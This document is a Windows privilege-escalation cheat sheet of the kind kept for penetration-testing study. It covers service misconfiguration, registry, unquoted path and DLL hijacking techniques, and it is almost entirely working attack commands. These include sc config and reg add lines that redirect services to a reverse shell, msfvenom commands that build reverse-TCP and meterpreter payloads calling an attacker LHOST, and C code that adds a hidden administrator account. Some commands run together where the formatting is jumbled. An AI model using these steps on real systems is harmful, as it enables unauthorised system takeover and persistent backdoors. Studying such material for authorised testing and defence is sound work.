Quick enum:
tasklist /SVC
for list of processes related to services.sc qc servicename
Query configuration
sc query servicename
Query current status
sc config servicename option=value
Modify configuration
net start servicename
net stop servicename
Start/Stop serviceaccesschk.exe /accepteula -uwcqv "Authenticated Users" *
to check which service you have access
Insecure Service Permission
winpeas.exe quiet servicesinfo
- first check- Check if can modify any service.
- Confirm the access:
accesschk.exe /accepteula -uwcqv username servicename
- Check config:
sc qc servicename
- Check status:
sc query servicename
- Reconfigure to our reverse shell:
sc config servicename binpath= "\"C:\PrivEsc\reverse.exe\""
(or trysc config upnphost binpath= "C:\shell3.exe"
) - Optional:
sc config servicename obj= ".\LocalSystem" password= ""
- Start listener, then start/restart the service with
net start servicename
- If the service is automatic and you cant restart service, can try restart pc with
shutdown /r /t 0
(USEshutdown -r -t 10 && exit
, it is better!)
Weak Registry Permissions
winpeas.exe quiet servicesinfo
- first check- Check for weak registry entry.
- Use Powershell to confirm:
Get-Acl HKLM:\System\CurrentControlSet\Services\servicename | Format-List
. Can use accesschk as well:accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\servicename
- Overwrite the image path to our shell:
reg add HKLM\SYSTEM\CurrentControlSet\services\servicename /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
- Start listener, then start/restart the service with
net start servicename
- If the service is automatic and you cant restart service, can try restart pc with
shutdown /r /t 0
(USEshutdown -r -t 10 && exit
, it is better!)
Insecure Service Executable
winpeas.exe quiet servicesinfo
- first check- Check for executable that can be written by everyone.
- Use accesschk to confirm:
accesschk.exe /accepteula -quvw "C:\Program Files\Some Program\programname.exe"
- Backup the file:
copy "C:\Program Files\Some Program\programname.exe" C:\Temp
- Replace with our shell:
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
- Alternative: Use
move originalservice.exe backupservice.exe
to move the file away as backup, then copy the exploit file usingcopy shell80.exe originalservice.exe
. (This can bypass the ‘service running error’) - Start listener, then start/restart the service with
net start servicename
- If the service is automatic and you cant restart service, can try restart pc with
shutdown /r /t 0
(USEshutdown -r -t 10 && exit
, it is better!) - To create the executable:
msfvenom --platform Windows -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe-service -o service1.exe
- Alternatively, can use the C code below (change the exec to the service that you backup-ed. Note: can remove WinExec line if it causes trouble. Just login using the account created.):
addAdmin.c
int main(void){
system("net user test password1234 /add");
system("net localgroup Administrators test /add");
WinExec("C:\\bd\\bd.service.exe",0);
return 0;
}
- Compile using:
i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o addAdmin.exe
- Use
move originalservice.exe backupservice.exe
to move the file away as backup, then copy the exploit file usingcopy shell80.exe originalservice.exe
. (This can bypass the ‘service running error’)
Insecure Service File Permission
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
to get running services and their executable path.icacls "C:\Program Files\xx.exe"
to use icacls and see what permissions we have. F-Full, M-Modify, RX-Read and Execute, R-Read only, W-Write only.- If access is available we can try to replace this executable (either with reverse shell or add user). Use
move originalservice.exe backupservice.exe
to move the file away as backup, then copy the exploit file usingcopy shell80.exe originalservice.exe
. (This can bypass the ‘service running error’) - Can first try restart service after replacing with
net stop xx
andnet start xx
. If cannot, check if the service is automatic withwmic service where caption="Serviio" get name, caption, state, startmode
. If yes, can restart the PC for it to restart service. - Check if you can restart PC:
whoami /priv
. If SeShutdownPrivilege is listed, means can restart withshutdown /r /t 0
. (USEshutdown -r -t 10 && exit
, it is better!)
Unquoted Service Path
- If any of the service path is unquoted (for example:
C:\Program Files\My Program\My Service\service.exe
), Windows will interpret (based on order) the following:C:\Program.exe
,C:\Program Files\My.exe
,C:\Program Files\My Program\My.exe
,C:\Program Files\My Program\My Service\service.exe
. - We can then replace our executable in any of the path above.
winpeas.exe quiet servicesinfo
- first check- Check for any unquoted path with spaces.
sc qc servicename
to confirm.- Check for permission:
accesschk.exe /accepteula -uwdq C:
accesschk.exe /accepteula -uwdq "C:\Program Files\"
accesschk.exe /accepteula -uwdq "C:\Program Files\My Program"
- Put the shell in any of the writable path.
- Start listener, then start/restart the service with
net start servicename
- If the service is automatic and you cant restart service, can try restart pc with
shutdown /r /t 0
(USEshutdown -r -t 10 && exit
, it is better!)
DLL Hijacking
winpeas.exe quiet servicesinfo
- first check- Check writable directory and is in PATH.
- Check we can start and stop which services:
accesschk.exe /accepteula -uvqc username somedllsvc
- Confirm the executable:
sc qc somedllsvc
- Run procmon64 with admin and filter based on “
Process name matching dllexecutable.exe
” - On procmon main screen, deselect registry activity and network activity.
- Start/Restart the service:
net start somedllsvc
- In Procmon will see that there are a few NAME NOT FOUND error with dll name.
- Use msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o dllname.dll
- Start listener, then start/restart the service with
net start servicename
- If need to restart use
shutdown -r -t 10 && exit
.
IKEEXT
- Use
sc query IKEEXT
- Confirm the dll file does not exist:
dir wlbsctrl.dll /s
- Get the PATH to see where we can inject our DLL:
PATH
- Perform icacls on the path to see where we can write, eg:
icacls C:\Python\Scripts\
- If we have modify/full permission, can generate the dll and put there:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f dll > wlbsctrl.dll
- Set the listener and power cycle it:
shutdown -r -t 10 && exit